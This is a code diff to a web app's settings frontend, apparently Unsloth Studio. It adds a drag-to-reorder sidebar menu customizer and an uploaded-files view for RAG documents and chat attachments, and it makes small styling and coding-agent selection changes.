+import { Reorder, useDragControls } from "motion/react";
+import { Switch } from "@/components/ui/switch";
+import { useT } from "@/i18n";
+import type { TranslationKey } from "@/i18n";
+import type { IconSvgElement } from "@hugeicons/react";
+import type { SidebarMenuItemPref } from "../stores/appearance-custom-store";
+import { useAppearanceCustomStore } from "../stores/appearance-custom-store";
+
+const ITEM_META: Record<
+  SidebarMenuItemPref["id"],
+  { icon: IconSvgElement; labelKey: TranslationKey }
+> = {
+  api: { icon: Globe02Icon, labelKey: "shell.navigation.api" },
+  darkMode: { icon: Moon02Icon, labelKey: "settings.appearance.sidebarMenu.darkModeToggle" },
+  guidedTour: { icon: CursorInfo02Icon, labelKey: "shell.navigation.guidedTour" },
+  profile: { icon: UserIcon, labelKey: "settings.tabs.profile" },
+  appearance: { icon: PaintBrush02Icon, labelKey: "settings.tabs.appearance" },
+  resources: { icon: CpuIcon, labelKey: "settings.tabs.resources" },
+  chat: { icon: Message01Icon, labelKey: "settings.tabs.chat" },
+  connections: { icon: CloudIcon, labelKey: "settings.tabs.connections" },
+};
+
+function FixedRow({ icon, label }: { icon: IconSvgElement; label: string }) {
+  return (
+    <div className="flex h-9 items-center gap-2.5 rounded-lg px-2 text-muted-foreground/70">
+      {/* Spacer where the drag handle sits on movable rows. */}
+      <span className="size-4" aria-hidden="true" />
+      <HugeiconsIcon icon={icon} strokeWidth={1.75} className="size-4" />
+      <span className="text-ui-13">{label}</span>
+    </div>
+  );
+}
+
+function MovableRow({ item }: { item: SidebarMenuItemPref }) {
+  const t = useT();
+  const controls = useDragControls();
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  const sidebarMenu = useAppearanceCustomStore(
+    (s) => s.customization.sidebarMenu,
+  );
+  const meta = ITEM_META[item.id];
+  return (
+    <Reorder.Item
+      value={item.id}
+      dragListener={false}
+      dragControls={controls}
+      layout="position"
+      // Rows sit flat on the dialog surface; the dragged row lifts above its
+      // siblings so it stays readable while crossing them.
+      whileDrag={{
+        backgroundColor: "var(--popover)",
+        boxShadow: "0 4px 16px rgb(0 0 0 / 0.18)",
+        zIndex: 10,
+      }}
+      className="relative flex h-9 items-center gap-2.5 rounded-lg px-2"
+    >
+      <button
+        type="button"
+        aria-label={t("settings.appearance.sidebarMenu.dragToReorder")}
+        onPointerDown={(e) => {
+          e.preventDefault();
+          controls.start(e);
+        }}
+        className="flex size-4 shrink-0 cursor-grab touch-none items-center justify-center text-muted-foreground active:cursor-grabbing"
+      >
+        <HugeiconsIcon
+          icon={DragDropVerticalIcon}
+          strokeWidth={1.75}
+          className="size-4"
+        />
+      </button>
+      <HugeiconsIcon
+        icon={meta.icon}
+        strokeWidth={1.75}
+        className="size-4 text-foreground/80"
+      />
+      <span className="text-ui-13 text-foreground">{t(meta.labelKey)}</span>
+      <Switch
+        className="ml-auto"
+        checked={item.visible}
+        onCheckedChange={(visible) =>
+          patch({
+            sidebarMenu: sidebarMenu.map((entry) =>
+              entry.id === item.id ? { ...entry, visible } : entry,
+            ),
+          })
+        }
+      />
+    </Reorder.Item>
+  );
+}
+
+/**
+ * Show/hide and reorder the optional sidebar profile menu items. The pinned
+ * entries (Settings on top; Help, Log out, Shutdown below) are rendered as
+ * static rows so the final menu layout is obvious.
+ */
+export function SidebarMenuCustomizer() {
+  const t = useT();
+  const sidebarMenu = useAppearanceCustomStore(
+    (s) => s.customization.sidebarMenu,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <div className="flex flex-col rounded-xl border border-border/70 p-1.5">
+      <FixedRow icon={Settings02Icon} label={t("shell.navigation.settings")} />
+      <Reorder.Group
+        axis="y"
+        values={sidebarMenu.map((item) => item.id)}
+        onReorder={(ids: SidebarMenuItemPref["id"][]) =>
+          patch({
+            sidebarMenu: ids.flatMap(
+              (id) => sidebarMenu.find((entry) => entry.id === id) ?? [],
+            ),
+          })
+        }
+        className="flex flex-col"
+      >
+        {sidebarMenu.map((item) => (
+          <MovableRow key={item.id} item={item} />
+        ))}
+      </Reorder.Group>
+      <div className="mx-2 my-1 border-t border-border/70" />
+      <FixedRow icon={HelpCircleIcon} label={t("common.help")} />
+      <FixedRow icon={Logout05Icon} label={t("shell.navigation.logOut")} />
+      <FixedRow icon={PowerIcon} label={t("common.shutdown")} />
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/update-studio-instructions.tsx b/studio/frontend/src/features/settings/components/update-studio-instructions.tsx
index e7ec970cc0..9854fa54e4 100644
--- a/studio/frontend/src/features/settings/components/update-studio-instructions.tsx
+++ b/studio/frontend/src/features/settings/components/update-studio-instructions.tsx
@@ -91,7 +91,7 @@ function CopyableCommand({
         type="text"
         readOnly={true}
         value={command}
-        className="min-w-0 flex-1 bg-transparent px-2 py-1.5 font-mono text-[11px] text-foreground outline-none"
+        className="min-w-0 flex-1 bg-transparent px-2 py-1.5 font-mono text-ui-11 text-foreground outline-none"
         title={command}
         aria-label={t("settings.about.update.commandText", {
           label: copyLabel,
@@ -187,7 +187,7 @@ function ShellToggleButton({
       onClick={onClick}
       aria-pressed={active}
       className={cn(
-        "inline-flex h-8 items-center justify-center rounded-full px-3.5 text-[12px] font-medium transition-colors",
+        "inline-flex h-8 items-center justify-center rounded-full px-3.5 text-ui-12 font-medium transition-colors",
         active
           ? "hub-tab-toggle-pill text-foreground"
           : "cursor-pointer text-muted-foreground hover:text-foreground",
diff --git a/studio/frontend/src/features/settings/components/uploaded-files-dialog.tsx b/studio/frontend/src/features/settings/components/uploaded-files-dialog.tsx
new file mode 100644
index 0000000000..cb5ed0ad34
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/uploaded-files-dialog.tsx
@@ -0,0 +1,644 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Spinner } from "@/components/ui/spinner";
+import {
+  type ChatAttachmentRecord,
+  deleteChatAttachment,
+  emitChatAttachmentDeleted,
+  fetchChatAttachmentBlob,
+  listChatAttachments,
+} from "@/features/chat";
+import {
+  deleteDocument,
+  getDocumentFileUrl,
+  listAllDocuments,
+  type UploadedDocument,
+} from "@/features/rag";
+import { toast } from "@/lib/toast";
+import {
+  ArrowUpRight01Icon,
+  Delete02Icon,
+  File02Icon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useNavigate } from "@tanstack/react-router";
+import { type ReactNode, useEffect, useRef, useState } from "react";
+import { useSettingsDialogStore } from "../stores/settings-dialog-store";
+
+function formatUploadedAt(value: string | number | null | undefined): string {
+  if (value === null || value === undefined || value === "") return "-";
+  // Chat attachments carry ms epoch numbers; RAG documents carry SQLite
+  // ISO-ish strings (no timezone). Unparseable strings fall through raw.
+  const parsed = new Date(value);
+  if (Number.isNaN(parsed.getTime())) return String(value);
+  return parsed.toLocaleDateString(undefined, {
+    year: "numeric",
+    month: "long",
+    day: "numeric",
+  });
+}
+
+function formatSize(bytes: number | null | undefined): string {
+  if (bytes === null || bytes === undefined) return "-";
+  if (bytes < 1024) return `${bytes} B`;
+  const units = ["KB", "MB", "GB"];
+  let value = bytes;
+  let unit = "B";
+  for (const next of units) {
+    if (value < 1024) break;
+    value /= 1024;
+    unit = next;
+  }
+  return `${value >= 10 ? Math.round(value) : value.toFixed(1)} ${unit}`;
+}
+
+function ragLocationLabel(doc: UploadedDocument): string {
+  if (doc.kbId) return doc.kbName ? `KB · ${doc.kbName}` : "Knowledge base";
+  if (doc.projectId) {
+    return doc.projectName ? `Project · ${doc.projectName}` : "Project";
+  }
+  if (doc.threadId) return "Chat files (RAG)";
+  return "-";
+}
+
+/** Short uppercase file-type label from the filename extension, falling back
+ *  to the content-type subtype (e.g. "image/webp" gives WEBP). */
+function fileTypeLabel(
+  name: string,
+  contentType?: string | null,
+): string | null {
+  const dot = name.lastIndexOf(".");
+  const ext = dot > 0 ? name.slice(dot + 1).trim() : "";
+  if (ext && ext.length <= 5) return ext.toUpperCase();
+  const subtype = contentType?.split("/")[1]?.split("+")[0]?.trim();
+  return subtype && subtype.length <= 10 ? subtype.toUpperCase() : null;
+}
+
+/** Lazy image thumbnail for a chat attachment; a file icon until it loads.
+ *  The stored blob only downloads once the row scrolls into view, so a long
+ *  history of screenshots does not fetch every image on open. */
+function ChatImageThumb({
+  messageId,
+  attachmentId,
+}: {
+  messageId: string;
+  attachmentId: string;
+}) {
+  const [src, setSrc] = useState<string | null>(null);
+  const [visible, setVisible] = useState(false);
+  const holderRef = useRef<HTMLSpanElement>(null);
+
+  useEffect(() => {
+    const el = holderRef.current;
+    if (!el) return;
+    if (typeof IntersectionObserver === "undefined") {
+      return;
+    }
+    const observer = new IntersectionObserver((entries) => {
+      if (entries.some((entry) => entry.isIntersecting)) {
+        setVisible(true);
+        observer.disconnect();
+      }
+    });
+    observer.observe(el);
+    return () => observer.disconnect();
+  }, []);
+
+  useEffect(() => {
+    if (!visible) return;
+    let cancelled = false;
+    let url: string | null = null;
+    fetchChatAttachmentBlob(messageId, attachmentId)
+      .then((blob) => {
+        if (cancelled) return;
+        url = URL.createObjectURL(blob);
+        setSrc(url);
+      })
+      .catch(() => {
+        // Keep the file icon on failure.
+      });
+    return () => {
+      cancelled = true;
+      if (url) URL.revokeObjectURL(url);
+    };
+  }, [visible, messageId, attachmentId]);
+
+  if (!src) {
+    return (
+      <span
+        ref={holderRef}
+        className="flex h-full w-full items-center justify-center"
+      >
+        <FileIconThumb />
+      </span>
+    );
+  }
+  return <img src={src} alt="" className="h-full w-full object-cover" />;
+}
+
+function FileIconThumb() {
+  return (
+    <HugeiconsIcon
+      icon={File02Icon}
+      strokeWidth={1.75}
+      className="size-4 text-muted-foreground"
+    />
+  );
+}
+
+/** One display row: a RAG document or a chat message attachment. */
+interface UploadedFileRow {
+  key: string;
+  source: "rag" | "chat";
+  name: string;
+  location: string;
+  sizeBytes?: number | null;
+  createdAt?: string | number | null;
+  failed?: boolean;
+  /** Epoch ms for sorting; rows with unknown dates sort last. */
+  sortTime: number;
+  typeLabel: string | null;
+  /** Image rows render a thumbnail; others show a file icon. */
+  thumb: ReactNode;
+  /** Chat rows link back to their thread. */
+  threadId?: string | null;
+  /** Compare-chat rows navigate by pair id instead of opening one pane alone. */
+  pairId?: string | null;
+  open: () => Promise<void>;
+  remove: () => Promise<void>;
+  deleteDescription: string;
+}
+
+function toSortTime(value: string | number | null | undefined): number {
+  if (value === null || value === undefined || value === "") return 0;
+  const parsed = new Date(value).getTime();
+  return Number.isNaN(parsed) ? 0 : parsed;
+}
+
+// Safari and Firefox block window.open after an await (the user gesture is
+// gone), so open a blank tab synchronously and point it at the URL once
+// resolved. A blocked synchronous open is surfaced instead of silently losing
+// the file after the asynchronous URL lookup.
+async function openResolvedUrl(resolve: () => Promise<string>): Promise<void> {
+  const win = window.open("", "_blank");
+  if (!win) {
+    throw new Error(
+      "Your browser blocked the new tab. Allow popups and retry.",
+    );
+  }
+  win.opener = null;
+  let url: string;
+  try {
+    url = await resolve();
+  } catch (err) {
+    win.close();
+    throw err;
+  }
+  win.location.replace(url);
+}
+
+function ragRow(doc: UploadedDocument): UploadedFileRow {
+  return {
+    key: `rag-${doc.id}`,
+    source: "rag",
+    name: doc.filename,
+    location: ragLocationLabel(doc),
+    sizeBytes: doc.sizeBytes,
+    createdAt: doc.createdAt,
+    failed: doc.status === "failed",
+    sortTime: toSortTime(doc.createdAt),
+    typeLabel: fileTypeLabel(doc.filename),
+    // RAG uploads are documents (pdf, txt, md, docx, html), not images.
+    thumb: <FileIconThumb />,
+    open: () => openResolvedUrl(() => getDocumentFileUrl(doc.id)),
+    remove: async () => {
+      await deleteDocument(doc.id, doc.projectId);
+    },
+    deleteDescription:
+      "The file and its indexed content are removed. This cannot be undone.",
+  };
+}
+
+function chatAttachmentRow(att: ChatAttachmentRecord): UploadedFileRow {
+  const isImage =
+    att.type === "image" || Boolean(att.contentType?.startsWith("image/"));
+  return {
+    key: `chat-${att.messageId}-${att.id}`,
+    source: "chat",
+    name: att.name,
+    location: att.threadTitle ? `Chat · ${att.threadTitle}` : "Chat",
+    sizeBytes: att.sizeBytes,
+    createdAt: att.createdAt,
+    sortTime: toSortTime(att.createdAt),
+    typeLabel: fileTypeLabel(att.name, att.contentType),
+    threadId: att.threadId,
+    pairId: att.pairId,
+    thumb: isImage ? (
+      <ChatImageThumb messageId={att.messageId} attachmentId={att.id} />
+    ) : (
+      <FileIconThumb />
+    ),
+    open: () =>
+      openResolvedUrl(async () => {
+        const blob = await fetchChatAttachmentBlob(att.messageId, att.id);
+        const url = URL.createObjectURL(blob);
+        // Give the new tab time to load the blob before revoking.
+        setTimeout(() => URL.revokeObjectURL(url), 60_000);
+        return url;
+      }),
+    remove: async () => {
+      await deleteChatAttachment(att.messageId, att.id);
+      // Patch any loaded runtime copy so a later repo sync cannot write the
+      // deleted attachment back to storage.
+      emitChatAttachmentDeleted({
+        messageId: att.messageId,
+        attachmentId: att.id,
+      });
+    },
+    deleteDescription:
+      "The attachment is removed from its chat message; the message text is kept. This cannot be undone.",
+  };
+}
+
+type SourceLoad<T> = {
+  status: "loading" | "ready" | "error";
+  data: T;
+  error: string | null;
+};
+
+function errorMessage(error: unknown, fallback: string): string {
+  return error instanceof Error ? error.message : fallback;
+}
+
+/** Inline settings page listing uploaded files from each available source. */
+export function UploadedFilesView() {
+  const [ragFiles, setRagFiles] = useState<SourceLoad<UploadedDocument[]>>({
+    status: "loading",
+    data: [],
+    error: null,
+  });
+  const [chatFiles, setChatFiles] = useState<
+    SourceLoad<ChatAttachmentRecord[]>
+  >({ status: "loading", data: [], error: null });
+  const [chatNextOffset, setChatNextOffset] = useState<number | null>(null);
+  const [loadingMore, setLoadingMore] = useState(false);
+  const [confirmingDelete, setConfirmingDelete] =
+    useState<UploadedFileRow | null>(null);
+  const navigate = useNavigate();
+
+  const rows = [
+    ...ragFiles.data.map(ragRow),
+    ...chatFiles.data.map(chatAttachmentRow),
+  ].sort((a, b) => b.sortTime - a.sortTime);
+
+  // Jump to the chat thread the attachment lives in, closing the settings
+  // dialog so the thread is actually visible.
+  function goToChat(row: UploadedFileRow) {
+    if (!row.threadId) return;
+    useSettingsDialogStore.getState().closeDialog();
+    if (row.pairId) {
+      void navigate({ to: "/chat", search: { compare: row.pairId } });
+    } else {
+      void navigate({ to: "/chat", search: { thread: row.threadId } });
+    }
+  }
+
+  useEffect(() => {
+    let cancelled = false;
+    void listAllDocuments().then(
+      (data) => {
+        if (!cancelled) setRagFiles({ status: "ready", data, error: null });
+      },
+      (error: unknown) => {
+        if (!cancelled) {
+          setRagFiles({
+            status: "error",
+            data: [],
+            error: errorMessage(error, "Failed to load RAG documents"),
+          });
+        }
+      },
+    );
+    void listChatAttachments().then(
+      (page) => {
+        if (!cancelled) {
+          setChatFiles({
+            status: "ready",
+            data: page.attachments,
+            error: null,
+          });
+          setChatNextOffset(page.nextOffset);
+        }
+      },
+      (error: unknown) => {
+        if (!cancelled) {
+          setChatFiles({
+            status: "error",
+            data: [],
+            error: errorMessage(error, "Failed to load chat attachments"),
+          });
+        }
+      },
+    );
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+
+  function retryRagFiles() {
+    setRagFiles((current) => ({ ...current, status: "loading", error: null }));
+    void listAllDocuments().then(
+      (data) => setRagFiles({ status: "ready", data, error: null }),
+      (error: unknown) =>
+        setRagFiles((current) => ({
+          ...current,
+          status: "error",
+          error: errorMessage(error, "Failed to load RAG documents"),
+        })),
+    );
+  }
+
+  async function loadChatPage(offset: number, append: boolean) {
+    setLoadingMore(true);
+    setChatFiles((current) => ({ ...current, status: "loading", error: null }));
+    try {
+      const page = await listChatAttachments(offset);
+      setChatFiles((current) => ({
+        status: "ready",
+        data: append
+          ? [
+              ...current.data,
+              ...page.attachments.filter(
+                (incoming) =>
+                  !current.data.some(
+                    (existing) =>
+                      existing.id === incoming.id &&
+                      existing.messageId === incoming.messageId,
+                  ),
+              ),
+            ]
+          : page.attachments,
+        error: null,
+      }));
+      setChatNextOffset(page.nextOffset);
+    } catch (error) {
+      setChatFiles((current) => ({
+        ...current,
+        status: "error",
+        error: errorMessage(error, "Failed to load chat attachments"),
+      }));
+    } finally {
+      setLoadingMore(false);
+    }
+  }
+
+  function retryChatFiles() {
+    const append = chatFiles.data.length > 0 && chatNextOffset !== null;
+    void loadChatPage(append ? chatNextOffset : 0, append);
+  }
+
+  async function handleOpen(row: UploadedFileRow) {
+    try {
+      await row.open();
+    } catch (err) {
+      toast.error("Failed to open file", {
+        description: err instanceof Error ? err.message : undefined,
+      });
+    }
+  }
+
+  async function handleDelete(row: UploadedFileRow) {
+    // Offset pages and destructive mutations must not race: a deletion shifts
+    // the boundary used by an in-flight page request.
+    if (loadingMore) return;
+    try {
+      await row.remove();
+      if (row.source === "rag") {
+        setRagFiles((current) => ({
+          ...current,
+          data: current.data.filter((doc) => `rag-${doc.id}` !== row.key),
+        }));
+      } else {
+        setChatFiles((current) => ({
+          ...current,
+          data: current.data.filter(
+            (attachment) =>
+              `chat-${attachment.messageId}-${attachment.id}` !== row.key,
+          ),
+        }));
+        // Offset pagination is relative to the current server inventory. A
+        // deletion before the next page shifts every later row back by one.
+        setChatNextOffset((current) =>
+          current === null ? null : Math.max(0, current - 1),
+        );
+      }
+      toast.success("File deleted");
+    } catch (err) {
+      toast.error("Failed to delete file", {
+        description: err instanceof Error ? err.message : undefined,
+      });
+    }
+  }
+
+  return (
+    <div className="flex flex-col gap-4">
+      {ragFiles.status === "error" ? (
+        <div className="flex flex-wrap items-center justify-between gap-2 rounded-md border border-destructive/30 bg-destructive/5 px-3 py-2 text-sm">
+          <span>RAG documents unavailable: {ragFiles.error}</span>
+          <button
+            type="button"
+            onClick={retryRagFiles}
+            className="font-medium underline underline-offset-2"
+          >
+            Retry
+          </button>
+        </div>
+      ) : null}
+      {chatFiles.status === "error" ? (
+        <div className="flex flex-wrap items-center justify-between gap-2 rounded-md border border-destructive/30 bg-destructive/5 px-3 py-2 text-sm">
+          <span>Chat attachments unavailable: {chatFiles.error}</span>
+          <button
+            type="button"
+            onClick={retryChatFiles}
+            className="font-medium underline underline-offset-2"
+          >
+            Retry
+          </button>
+        </div>
+      ) : null}
+
+      {rows.length === 0 &&
+      (ragFiles.status === "loading" || chatFiles.status === "loading") ? (
+        <div className="flex justify-center py-8">
+          <Spinner className="size-5 text-muted-foreground" />
+        </div>
+      ) : rows.length === 0 &&
+        ragFiles.status !== "error" &&
+        chatFiles.status !== "error" ? (
+        <p className="py-8 text-center text-sm text-muted-foreground">
+          No uploaded files.
+        </p>
+      ) : rows.length > 0 ? (
+        <div>
+          <div className="hidden items-center gap-3 border-b border-border/60 px-1 pb-2 text-xs font-semibold text-foreground sm:flex">
+            <span className="flex-1">Name</span>
+            <span className="w-36 shrink-0">Location</span>
+            <span className="w-24 shrink-0">Uploaded</span>
+            <span className="w-16 shrink-0" />
+          </div>
+          {rows.map((row) => (
+            <div
+              key={row.key}
+              className="group flex flex-wrap items-center gap-x-3 gap-y-1 border-b border-border/40 px-1 py-2.5 text-sm last:border-0 sm:flex-nowrap"
+            >
+              {/* Clicking the file jumps to its chat; files without one
+                open directly. The theme scales rounded-md up to a near
+                circle at this size, so the thumb pins a small radius. */}
+              <button
+                type="button"
+                onClick={() =>
+                  row.threadId ? goToChat(row) : void handleOpen(row)
+                }
+                title={
+                  row.threadId ? `Go to ${row.location}` : `Open ${row.name}`
+                }
+                className="group/name flex min-w-0 flex-1 basis-[calc(100%-5rem)] items-center gap-2.5 overflow-hidden text-left sm:basis-auto"
+              >
+                <span className="flex size-8 shrink-0 items-center justify-center overflow-hidden rounded-[7px] border border-border/50 bg-muted/40">
+                  {row.thumb}
+                </span>
+                <span className="flex min-w-0 flex-1 flex-col">
+                  <span className="flex min-w-0 items-center gap-2">
+                    {/* Floor keeps the name visible when the chip and fixed
+                      columns squeeze the cell at narrow widths. */}
+                    <span className="min-w-[3.5rem] truncate underline-offset-2 group-hover/name:underline">
+                      {row.name}
+                    </span>
+                    {row.typeLabel ? (
+                      <span className="shrink-0 rounded-md bg-black/[0.06] px-1.5 py-px text-ui-9 font-medium uppercase tracking-wide text-muted-foreground dark:bg-white/[0.1]">
+                        {row.typeLabel}
+                      </span>
+                    ) : null}
+                    {row.failed ? (
+                      <span className="shrink-0 text-xs text-destructive">
+                        failed
+                      </span>
+                    ) : null}
+                  </span>
+                  <span className="text-xs text-muted-foreground tabular-nums">
+                    {formatSize(row.sizeBytes)}
+                  </span>
+                </span>
+              </button>
+              {row.threadId ? (
+                <button
+                  type="button"
+                  onClick={() => goToChat(row)}
+                  title={`Go to ${row.location}`}
+                  className="order-3 w-full truncate pl-10 text-left text-muted-foreground underline-offset-2 transition-colors hover:text-foreground hover:underline sm:order-none sm:w-36 sm:pl-0"
+                >
+                  {row.location}
+                </button>
+              ) : (
+                <span
+                  className="order-3 w-full truncate pl-10 text-muted-foreground sm:order-none sm:w-36 sm:pl-0"
+                  title={row.location}
+                >
+                  {row.location}
+                </span>
+              )}
+              <span className="order-4 w-full pl-10 text-muted-foreground tabular-nums sm:order-none sm:w-24 sm:pl-0">
+                {formatUploadedAt(row.createdAt)}
+              </span>
+              <span className="flex w-16 shrink-0 items-center justify-end gap-1">
+                <button
+                  type="button"
+                  onClick={() => void handleOpen(row)}
+                  aria-label={`Open ${row.name}`}
+                  title="Open"
+                  className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
+                >
+                  <HugeiconsIcon
+                    icon={ArrowUpRight01Icon}
+                    strokeWidth={1.75}
+                    className="size-4"
+                  />
+                </button>
+                <button
+                  type="button"
+                  disabled={loadingMore}
+                  onClick={() => setConfirmingDelete(row)}
+                  aria-label={`Delete ${row.name}`}
+                  title="Delete"
+                  className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-destructive/10 hover:text-destructive disabled:cursor-wait disabled:opacity-50"
+                >
+                  <HugeiconsIcon
+                    icon={Delete02Icon}
+                    strokeWidth={1.75}
+                    className="size-4"
+                  />
+                </button>
+              </span>
+            </div>
+          ))}
+          {chatNextOffset !== null ? (
+            <div className="flex justify-center pt-3">
+              <button
+                type="button"
+                disabled={loadingMore}
+                onClick={() => void loadChatPage(chatNextOffset, true)}
+                className="rounded-md border border-border px-3 py-1.5 text-sm font-medium hover:bg-muted disabled:cursor-wait disabled:opacity-60"
+              >
+                {loadingMore ? "Loading..." : "Load more chat attachments"}
+              </button>
+            </div>
+          ) : null}
+        </div>
+      ) : null}
+
+      <AlertDialog
+        open={confirmingDelete !== null}
+        onOpenChange={(o) => {
+          if (!o) setConfirmingDelete(null);
+        }}
+      >
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>Delete file</AlertDialogTitle>
+            <AlertDialogDescription>
+              Delete{" "}
+              <span className="font-medium text-foreground">
+                &quot;{confirmingDelete?.name}&quot;
+              </span>
+              ? {confirmingDelete?.deleteDescription}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>Cancel</AlertDialogCancel>
+            <AlertDialogAction
+              variant="destructive"
+              onClick={() => {
+                const row = confirmingDelete;
+                setConfirmingDelete(null);
+                if (row) void handleDelete(row);
+              }}
+            >
+              Delete
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx
index c43dd0f219..ade181f632 100644
--- a/studio/frontend/src/features/settings/components/usage-examples.tsx
+++ b/studio/frontend/src/features/settings/components/usage-examples.tsx
@@ -16,6 +16,7 @@ import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { useChatRuntimeStore } from "@/features/chat";
 import { useT } from "@/i18n";
 import type { TranslationKey } from "@/i18n";
+import { isTauri } from "@/lib/api-base";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
@@ -25,14 +26,15 @@ import {
   InformationCircleIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useEffect, useMemo, useState } from "react";
+import { useEffect, useMemo, useRef, useState } from "react";
 import { Streamdown } from "streamdown";
+import { loadCodingAgents } from "../api/coding-agents";
 import {
   type OpenAIAutoSwitchSettings,
   loadOpenAIAutoSwitchSettings,
   updateOpenAIAutoSwitchSettings,
 } from "../api/openai-auto-switch";
-import { buildAgentCommand } from "./agent-command";
+import { buildAgentCommand, isLoopbackHost, normalizeHost } from "./agent-command";
 
 type ExampleType =
   | "curl"
@@ -114,6 +116,30 @@ const DOC_LINKS = [
   { label: "Hermes Agent", href: "https://unsloth.ai/docs/integrations/hermes-agent" },
 ];
 
+// Falls back to this list until the backend's installed-CLI check resolves;
+// kept in sync with the `unsloth start <agent>` subcommands and with
+// CODING_AGENTS in studio/backend/utils/coding_agents.py.
+const DEFAULT_AGENTS = [
+  "claude",
+  "codex",
+  "openclaw",
+  "opencode",
+  "hermes",
+  "pi",
+];
+// The agent selection resets to this whenever an auto-pick is no longer
+// trustworthy (leaving loopback, or the only compatible detected agent
+// stops being compatible) rather than lingering on a stale choice.
+const DEFAULT_AGENT = "claude";
+const AGENT_LABELS: Record<string, string> = {
+  claude: "Claude Code",
+  codex: "Codex",
+  openclaw: "OpenClaw",
+  opencode: "OpenCode",
+  hermes: "Hermes",
+  pi: "Pi",
+};
+
 const j = (s: string): string => JSON.stringify(s);
 const shSingle = (s: string): string => s.replace(/'/g, "'\\''");
 const psSingle = (s: string): string => s.replace(/'/g, "''");
@@ -203,12 +229,12 @@ curl.exe ${base}/v1/chat/completions \`
 }
 
 // A second OpenAI call naming a different downloaded GGUF: with auto-switch on,
-// Studio loads it before serving, so the model field selects the served model.
+// Unsloth loads it before serving, so the model field selects the served model.
 function pythonSwitchDemo(): string {
   return `
 
 # "Switch model by request" is on: replace the model below with another GGUF you
-# have downloaded and Studio loads it before serving. Unknown names keep serving
+# have downloaded and Unsloth loads it before serving. Unknown names keep serving
 # the current model.
 response = client.chat.completions.create(
     model=${j(SWITCH_MODEL)},
@@ -323,7 +349,7 @@ function javascriptSwitchDemo(): string {
   return `
 
 // "Switch model by request" is on: replace the model below with another GGUF you
-// have downloaded and Studio loads it before serving. Unknown names keep serving
+// have downloaded and Unsloth loads it before serving. Unknown names keep serving
 // the current model.
 const switchResponse = await client.chat.completions.create({
   model: ${j(SWITCH_MODEL)},
@@ -399,6 +425,17 @@ function useLoadedModelName(): string {
   }, [checkpoint, ggufVariant]);
 }
 
+// Backend PATH detection is only safe in the desktop app, where the UI owns
+// the local backend. A browser loopback URL may be an SSH/local port forward.
+function canUseLocalAgentDetection(base: string): boolean {
+  if (!isTauri) return false;
+  try {
+    return isLoopbackHost(normalizeHost(new URL(base).hostname));
+  } catch {
+    return false;
+  }
+}
+
 const SHIKI_THEMES = [unslothLightTheme, unslothDarkTheme] as [
   typeof unslothLightTheme,
   typeof unslothDarkTheme,
@@ -417,7 +454,7 @@ function HighlightedCode({
     [code, language],
   );
   return (
-    <div className="max-w-full overflow-x-auto p-3 pr-16 text-[11px] leading-relaxed [&_pre]:!m-0 [&_pre]:!whitespace-pre-wrap [&_pre]:!break-words [&_pre]:!border-0 [&_pre]:!bg-transparent [&_pre]:!p-0 [&_pre]:!text-[11px] [&_pre]:!leading-relaxed [&_code]:!text-[11px] [&_[data-streamdown=code-block]]:!my-0 [&_[data-streamdown=code-block]]:!border-0 [&_[data-streamdown=code-block]]:!bg-transparent [&_[data-streamdown=code-block]]:!p-0 [&_[data-streamdown=code-block]]:!text-[11px]">
+    <div className="max-w-full overflow-x-auto p-3 pr-16 text-ui-11 leading-relaxed [&_pre]:!m-0 [&_pre]:!whitespace-pre-wrap [&_pre]:!break-words [&_pre]:!border-0 [&_pre]:!bg-transparent [&_pre]:!p-0 [&_pre]:!text-ui-11 [&_pre]:!leading-relaxed [&_code]:!text-ui-11 [&_[data-streamdown=code-block]]:!my-0 [&_[data-streamdown=code-block]]:!border-0 [&_[data-streamdown=code-block]]:!bg-transparent [&_[data-streamdown=code-block]]:!p-0 [&_[data-streamdown=code-block]]:!text-ui-11">
       <Streamdown
         mode="static"
         plugins={{ code: codePlugin }}
@@ -443,7 +480,18 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   const [copied, setCopied] = useState(false);
   const [copiedUrl, setCopiedUrl] = useState(false);
   const [copiedAgent, setCopiedAgent] = useState(false);
+  const [agent, setAgent] = useState<string>(DEFAULT_AGENT);
+  const [availableAgents, setAvailableAgents] =
+    useState<string[]>(DEFAULT_AGENTS);
+  const [detectedAgents, setDetectedAgents] = useState<string[]>([]);
+  // True once the user has picked an agent themselves; guards the detection
+  // effect below from clobbering that choice if it resolves afterward.
+  const agentPickedByUserRef = useRef(false);
   const [useTunnel, setUseTunnel] = useState<boolean>(readUseTunnelPref);
+  const origin = typeof window !== "undefined" ? window.location.origin : "";
+  const base =
+    useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
+  const localAgentDetection = canUseLocalAgentDetection(base);
   // null while loading; the same setting the General tab exposes (shared cache).
   const [autoSwitch, setAutoSwitch] = useState<OpenAIAutoSwitchSettings | null>(
     null,
